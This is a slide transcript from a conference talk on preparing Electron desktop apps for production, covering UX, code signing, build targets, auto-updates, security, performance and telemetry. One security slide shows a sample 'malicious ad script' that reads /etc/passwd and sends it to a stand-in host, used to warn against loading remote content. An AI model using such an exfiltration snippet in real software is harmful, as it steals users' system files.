Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Real-World Electron

Real-World Electron

In this talk, you will learn how to take your Electron app and get it ready for production. Dot all the I's and cross all the T's to build the perfect app – indistinguishable from a real native app.

Level: Intermediate to Advanced

You're a Node.js developer, so you love writing JavaScript. If you're like me, you also love the web -- CSS, HTML, WebGL, and WebRTC are fast, fun, and powerful!

But sometimes you need to build a native app. No one wants to learn a new language, use proprietary SDKs, and use completely different tools to get things done. There is a huge learning curve to make apps for Mac, Windows, and all the different Linux distros.

But there's a solution! With Electron, you can build native apps using JavaScript and web technologies. Electron apps feel completely native and support automatic updates, native menus, notifications, crash reporting, a professional install experience, and more.

B498d33041627b07726dc29c28f02df7?s=128

Feross Aboukhadijeh

November 19, 2016
Tweet

Transcript

  1. REAL-WORLD ELECTRON

  2. SHIP

  3. SHIP

  4. @FEROSS

  5. None
  6. None
  7. None
  8. WEBTORRENT DESKTOP > 31 releases > 32 contributors > 350,000

    installs
  9. None
  10. WHOLE NEW WORLD

  11. UX

  12. USE THE DEFAULT CURSOR

  13. USE THE MENU BAR

  14. USE THE MENU BAR

  15. WINDOWS TRAY

  16. MAC APPS QUIT DIFFERENTLY

  17. MAC APPS QUIT DIFFERENTLY app.on('window-all-closed', function (e) { if (process.platform

    !== 'darwin') { app.quit() } })
  18. None
  19. None
  20. None
  21. None
  22. None
  23. CODE SIGNING

  24. CODE SIGNING

  25. WORKAROUND

  26. WORKAROUND

  27. WORKAROUND

  28. CODE SIGNING

  29. WORKAROUND

  30. None
  31. GET A CERTIFICATE > Apple Developer Program $99 > Windows

    Authenticode $100 - $500
  32. VERISIGN THAWTE COMODO

  33. VERISIGN THAWTE VERISIGN COMODO

  34. VERISIGN SYMANTEC THAWTE VERISIGN SYMANTEC COMODO

  35. SYMANTEC COMODO

  36. SYMANTEC COMODO DO NOT USE!

  37. None
  38. SIGN YOUR APPS > npm install electron-osx-sign > npm install

    electron-winstaller
  39. BUILD

  40. AVOID NATIVE DEPENDENCIES

  41. BUILD FOR ALL PLATFORMS FROM ONE PLATFORM

  42. ...WITH ONE EXCEPTION > Mac code signing only works on

    Mac
  43. WHICH PLATFORMS?

  44. MINIMUM > Windows Installer 32-bit > Mac Disk Image 64-bit

    > Linux Deb File 64-bit > Linux Deb File 32-bit
  45. STEAM PLATFORM STATS

  46. STEAM PLATFORM STATS > 6% use Windows 7 32-bit >

    0.4% use Windows 8 32-bit > 1.5% use Windows 10 32-bit = 8% OF WINDOWS USERS ARE 32-BIT
  47. WOW64 WINDOWS 32-BIT ON WINDOWS 64-BIT

  48. MAC IS 100% 64-BIT

  49. LINUX IS ???

  50. MINIMUM > Windows Installer 32-bit > Mac Disk Image 64-bit

    > Linux Deb File 64-bit > Linux Deb File 32-bit
  51. MINIMUM > WebTorrentSetup.exe > WebTorrent.dmg > webtorrent-desktop_0.0.0-1_amd64.deb > webtorrent-desktop_0.0.0-1_i386.deb

  52. COMPLETE > Windows Installer 64-bit > Windows Installer 32-bit >

    Mac Disk Image 64-bit > Linux Deb File 64-bit > Linux Deb File 32-bit > Linux Zip File 64-bit > Linux Zip File 32-bit
  53. COMPLETE > WebTorrentSetup.exe > WebTorrentSetup-ia32.exe > WebTorrent.dmg > webtorrent-desktop_0.0.0-1_amd64.deb >

    webtorrent-desktop_0.0.0-1_i386.deb > WebTorrent-linux.zip > WebTorrent-linux-ia32.zip
  54. ABOVE-AND-BEYOND > Linux ARM architecture > Mac App Store >

    Windows Store > Ubuntu Software Center
  55. DOWNLOAD

  56. OFFER THE RIGHT FILE

  57. None
  58. OFFER THE RIGHT FILE > os.arch() → architecture of Node.js

    binary > arch() → architecture of operating system > npm install arch
  59. OFFER THE RIGHT FILE const arch = require('arch') if (arch()

    === 'x64') { // 64-bit! } else { // 32-bit! } > Works in the browser
  60. None
  61. None
  62. UPDATES

  63. AUTO UPDATER const electron = require('electron') electron.autoUpdater.setFeedURL(AUTO_UPDATE_URL) electron.autoUpdater.checkForUpdates() electron.autoUpdater.on('error', ...)

    electron.autoUpdater.on('checking-for-update', ...) electron.autoUpdater.on('update-available', ...) electron.autoUpdater.on('update-not-available', ...) electron.autoUpdater.on('update-downloaded', ...)
  64. None
  65. USERS HATE UPDATE PROMPTS

  66. SILENT UPDATES

  67. SECURITY

  68. None
  69. WITH GREAT POWER COMES GREAT RESPONSIBLITY

  70. AIR-GAP

  71. ALWAYS USE HTTPS

  72. DO NOT LOAD REMOTE CONTENT

  73. MALICIOUS AD SCRIPT try { var fs = require('fs') var

    data = fs.readFileSync('/etc/passwd') // Steal the data var req = new XMLHttpRequest() req.open('GET', 'http://example.com', true) req.send(data.toString()) } catch (err) {}
  74. KEEP YOUR SERVER SECURE

  75. None
  76. None
  77. None
  78. None
  79. None
  80. None
  81. None
  82. None
  83. DOWNLOAD PERFORMANCE

  84. USE A CDN

  85. DEPENDENCY HYGIENE

  86. electron-packager IGNORE /^\/src|^\/dist|\/(appveyor.yml|\.appveyor.yml| \.github|appdmg|AUTHORS|CONTRIBUTORS|bench|benchmark| benchmark\.js|bin|bower\.json|component\.json|coverage| doc|docs|docs\.mli|dragdrop\.min\.js|example|examples| example\.html|example\.js|externs|ipaddr\.min\.js|Makefile| min|minimist|perf|rusha|simplepeer\.min\.js| simplewebsocket\.min\.js|static\/screenshot\.png| test|tests|test\.js|tests\.js|webtorrent\.min\.js|

    \.[^\/]*|.*\.md|.*\.markdown)$/
  87. STARTUP PERFORMANCE

  88. MINIMIZE require() CALLS IN CRITICAL PATH

  89. var Module = require('module') Module.prototype.require = function (orig) { return

    function (id) { console.trace(this, id) return orig.apply(this, arguments) }}(Module.prototype.require)
  90. electron-packager ASAR > app → app.asar > One file instead

    of 1000s > Fix Windows "max path length" bug
  91. MEASURE

  92. CATCH RUNTIME ERRORS process.on('uncaughtException', ...) window.addEventListener('error', ...)

  93. CATCH SEG FAULTS const electron = require('electron') electron.crashReporter.start({ companyName: COMPANY_NAME,

    productName: APP_NAME, submitURL: CRASH_REPORT_URL })
  94. TELEMETRY > Installs > Active users > User retention >

    Error stack traces > Version Skew
  95. ERROR RATE

  96. VERSION SKEW

  97. 1. Measure 2. Release 3. Repeat

  98. KEEP IMPROVING!

  99. THANKS @FEROSS